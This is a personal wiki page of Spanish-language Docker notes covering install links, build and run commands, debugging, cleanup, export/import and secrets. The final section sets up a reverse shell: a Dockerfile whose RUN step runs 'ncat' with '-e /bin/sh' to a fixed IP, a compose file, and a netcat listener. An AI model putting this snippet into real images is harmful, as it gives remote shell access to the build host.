====== docker ======
* [[https://docs.docker.com/install/]]
* Debian: [[https://docs.docker.com/install/linux/docker-ce/debian/]]
* [[https://docs.docker.com/install/linux/linux-postinstall/]]
''run'' sirve para instalar cosas, ''cmd'' es lo que se ejecuta cuando se hace ''docker run'' (no había otra manera más confusa de hacerlo???)
[[https://stackoverflow.com/questions/37461868/difference-between-run-and-cmd-in-a-docker-file]]
# Crear un Dockerfile
$ docker build -t
docker build --build-arg arg1="arg1" arg2=2 .
$ docker image ls
$ docker run -e key=value
$ docker run -e env # env tendrá el valor que tiene $env en nuestro entorno
$ docker ps
En docker cada línea es una capa, y sólo actualiza una capa si detecta que ha cambiado. Esto hace que haya que tener en cuenta algunos comportamientos inesperados a la hora de editar un Dockerfile:
[[https://docs.docker.com/develop/develop-images/dockerfile_best-practices/]]
* [[https://docs.docker.com/network/host/]] Para correr docker en la misma red en la que estás
===== docker alpine con pandas =====
Docker alpine no tiene pandas en los repos así que hay que compilarlo al instalarlo
* [[https://pythonspeed.com/articles/alpine-docker-python/]]
* [[https://stackoverflow.com/questions/49037742/why-does-it-take-ages-to-install-pandas-on-alpine-linux]]
Hay imágenes de docker que traen ya preinstalado pandas:
* [[https://github.com/amancevice/docker-pandas]]
===== debugging =====
* ''%%docker run -it --entrypoint sh%%''
* [[https://medium.com/@betz.mark/ten-tips-for-debugging-docker-containers-cde4da841a1d]]
* Copiar a local ''docker cp : '' -> sacar la id con ''docker ps''
* ''docker exec -it agitated_bell sh # docker ps -> NAMES, permite ejecutar una terminal incluso si tiene un entrypoint''
* ''docker ps -> docker inspect $CONTAINER_ID''
* Cuidado con el orden de los argumentos: ''%%docker run -it --network host -e "ENVIROMENT=TEST" --entrypoint bash my-docker-image%%''
===== cleaning =====
//A running instance of an image is a container//
* ''docker stop agitated_bell''
* ''docker ps -a # ''
* ''docker rm ''
* ''docker images''
* ''docker rmi # Eliminar los contenedores antes para que no de el error:''
Error response from daemon: conflict: unable to remove repository reference (must force)
- container is using its referenced image
===== exportar/push =====
* ''docker push ''
* ''docker export > .tar''
* ''docker export | gzip > .tar.gz''
===== importar/pull =====
* ''docker pull ''
* ''docker import .tar ''
* ''zcat .tar.gz | docker import - ''
===== secret =====
echo "password" | docker secret create mysecurepassword -
docker service create --name redis --secret mysecurepassword redis:alpine
===== Docker reverse shell ====
* https://raesene.github.io/blog/2019/08/09/docker-reverse-shells/
Dockerfile
FROM ubuntu:18.04
RUN apt update && apt install -y nmap
RUN ncat 10.140.73.163 8989 -e /bin/sh
CMD ["/bin/bash"]
docker-compose.yml
version: '3.0'
services:
reverse_shell:
build: .
container_name: shell_container
restart: always
ports:
- 8989:8989
networks:
myNetwork:
ipv4_address: 10.29.0.2
networks:
myNetwork:
driver: bridge
ipam:
config:
- subnet: 10.29.0.0/24
* ''%%nc -l -p 8989%%'' para conectarse